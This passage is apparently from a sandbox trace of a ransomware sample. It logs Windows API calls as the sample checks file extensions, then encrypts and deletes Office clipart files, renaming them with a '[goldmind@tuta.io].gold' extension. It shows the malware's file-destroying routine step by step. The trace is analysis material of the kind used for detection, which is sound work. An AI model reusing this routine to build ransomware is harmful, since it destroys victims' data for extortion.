4 [0055.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString=".xls") returned 4 [0055.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.077] lstrlenW (lpString=".xlsx") returned 5 [0055.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.077] lstrlenW (lpString=".ppt") returned 4 [0055.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.077] lstrlenW (lpString=".zip") returned 4 [0055.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.077] lstrlenW (lpString=".rar") returned 4 [0055.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString=".bz2") returned 4 [0055.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString=".7z") returned 3 [0055.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.077] lstrlenW (lpString=".dbf") returned 4 [0055.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.077] lstrlenW (lpString=".1cd") returned 4 [0055.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0055.078] lstrlenW (lpString=".jpg") returned 4 [0055.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.078] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.078] lstrlenW (lpString="BS00136_.WMF") returned 12 [0055.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.078] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2166) returned 1 [0055.078] CloseHandle (hObject=0x218) returned 1 [0055.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0055.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.078] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.078] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.079] GetLastError () returned 0x0 [0055.079] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x876, lpOverlapped=0x0) returned 1 [0055.080] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x880, lpOverlapped=0x0) returned 1 [0055.081] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.081] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.081] SetEndOfFile (hFile=0x200) returned 1 [0055.081] CloseHandle (hObject=0x200) returned 1 [0055.082] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.082] SetEndOfFile (hFile=0x218) returned 1 [0055.082] CloseHandle (hObject=0x218) returned 1 [0055.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.083] lstrlenW (lpString=".doc") returned 4 [0055.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString=".docx") returned 5 [0055.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.083] lstrlenW (lpString=".pdf") returned 4 [0055.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString=".xls") returned 4 [0055.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.083] lstrlenW (lpString=".xlsx") returned 5 [0055.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.083] lstrlenW (lpString=".ppt") returned 4 [0055.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.083] lstrlenW (lpString=".zip") returned 4 [0055.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.083] lstrlenW (lpString=".rar") returned 4 [0055.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString=".bz2") returned 4 [0055.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString=".7z") returned 3 [0055.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.083] lstrlenW (lpString=".dbf") returned 4 [0055.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.083] lstrlenW (lpString=".1cd") returned 4 [0055.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.083] lstrlenW (lpString=".jpg") returned 4 [0055.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.083] lstrlenW (lpString=".doc") returned 4 [0055.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString=".docx") returned 5 [0055.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.083] lstrlenW (lpString=".pdf") returned 4 [0055.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.083] lstrlenW (lpString=".xls") returned 4 [0055.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.084] lstrlenW (lpString=".xlsx") returned 5 [0055.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.084] lstrlenW (lpString=".ppt") returned 4 [0055.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.084] lstrlenW (lpString=".zip") returned 4 [0055.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.084] lstrlenW (lpString=".rar") returned 4 [0055.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.084] lstrlenW (lpString=".bz2") returned 4 [0055.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.084] lstrlenW (lpString=".7z") returned 3 [0055.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.084] lstrlenW (lpString=".dbf") returned 4 [0055.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.084] lstrlenW (lpString=".1cd") returned 4 [0055.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0055.084] lstrlenW (lpString=".jpg") returned 4 [0055.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.084] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.084] lstrlenW (lpString="BS00145_.WMF") returned 12 [0055.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.085] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1712) returned 1 [0055.085] CloseHandle (hObject=0x218) returned 1 [0055.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0055.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.086] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.086] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.086] GetLastError () returned 0x0 [0055.086] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x6b0, lpOverlapped=0x0) returned 1 [0055.087] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0055.088] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.088] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.088] SetEndOfFile (hFile=0x200) returned 1 [0055.088] CloseHandle (hObject=0x200) returned 1 [0055.088] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.088] SetEndOfFile (hFile=0x218) returned 1 [0055.089] CloseHandle (hObject=0x218) returned 1 [0055.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0055.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.089] lstrlenW (lpString=".doc") returned 4 [0055.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.089] lstrlenW (lpString=".docx") returned 5 [0055.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.089] lstrlenW (lpString=".pdf") returned 4 [0055.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.089] lstrlenW (lpString=".xls") returned 4 [0055.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.089] lstrlenW (lpString=".xlsx") returned 5 [0055.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.089] lstrlenW (lpString=".ppt") returned 4 [0055.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.089] lstrlenW (lpString=".zip") returned 4 [0055.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.089] lstrlenW (lpString=".rar") returned 4 [0055.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.089] lstrlenW (lpString=".bz2") returned 4 [0055.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString=".7z") returned 3 [0055.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.090] lstrlenW (lpString=".dbf") returned 4 [0055.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.090] lstrlenW (lpString=".1cd") returned 4 [0055.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.090] lstrlenW (lpString=".jpg") returned 4 [0055.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.090] lstrlenW (lpString=".doc") returned 4 [0055.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString=".docx") returned 5 [0055.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.090] lstrlenW (lpString=".pdf") returned 4 [0055.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString=".xls") returned 4 [0055.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.090] lstrlenW (lpString=".xlsx") returned 5 [0055.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.090] lstrlenW (lpString=".ppt") returned 4 [0055.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.090] lstrlenW (lpString=".zip") returned 4 [0055.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.090] lstrlenW (lpString=".rar") returned 4 [0055.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString=".bz2") returned 4 [0055.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString=".7z") returned 3 [0055.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.090] lstrlenW (lpString=".dbf") returned 4 [0055.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.090] lstrlenW (lpString=".1cd") returned 4 [0055.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0055.090] lstrlenW (lpString=".jpg") returned 4 [0055.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.091] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.091] lstrlenW (lpString="BS00174_.WMF") returned 12 [0055.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.091] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=8366) returned 1 [0055.091] CloseHandle (hObject=0x218) returned 1 [0055.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0055.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.091] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.091] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.091] GetLastError () returned 0x0 [0055.091] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x20ae, lpOverlapped=0x0) returned 1 [0055.093] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0055.093] ReadFile (in: hFile=0x218, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.094] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.094] SetEndOfFile (hFile=0x200) returned 1 [0055.094] CloseHandle (hObject=0x200) returned 1 [0055.094] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.094] SetEndOfFile (hFile=0x218) returned 1 [0055.094] CloseHandle (hObject=0x218) returned 1 [0055.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0055.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.095] lstrlenW (lpString=".doc") returned 4 [0055.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.095] lstrlenW (lpString=".docx") returned 5 [0055.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.095] lstrlenW (lpString=".pdf") returned 4 [0055.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.095] lstrlenW (lpString=".xls") returned 4 [0055.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.095] lstrlenW (lpString=".xlsx") returned 5 [0055.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.095] lstrlenW (lpString=".ppt") returned 4 [0055.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.095] lstrlenW (lpString=".zip") returned 4 [0055.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.095] lstrlenW (lpString=".rar") returned 4 [0055.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.095] lstrlenW (lpString=".bz2") returned 4 [0055.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.095] lstrlenW (lpString=".7z") returned 3 [0055.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.095] lstrlenW (lpString=".dbf") returned 4 [0055.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.095] lstrlenW (lpString=".1cd") returned 4 [0055.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.096] lstrlenW (lpString=".jpg") returned 4 [0055.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.096] lstrlenW (lpString=".doc") returned 4 [0055.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.096] lstrlenW (lpString=".docx") returned 5 [0055.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.096] lstrlenW (lpString=".pdf") returned 4 [0055.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.096] lstrlenW (lpString=".xls") returned 4 [0055.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.096] lstrlenW (lpString=".xlsx") returned 5 [0055.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.096] lstrlenW (lpString=".ppt") returned 4 [0055.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0055.096] lstrlenW (lpString=".zip") returned 4 [0055.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.096] lstrlenW (lpString=".rar") returned 4 [0055.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.096] lstrlenW (lpString=".bz2") returned 4 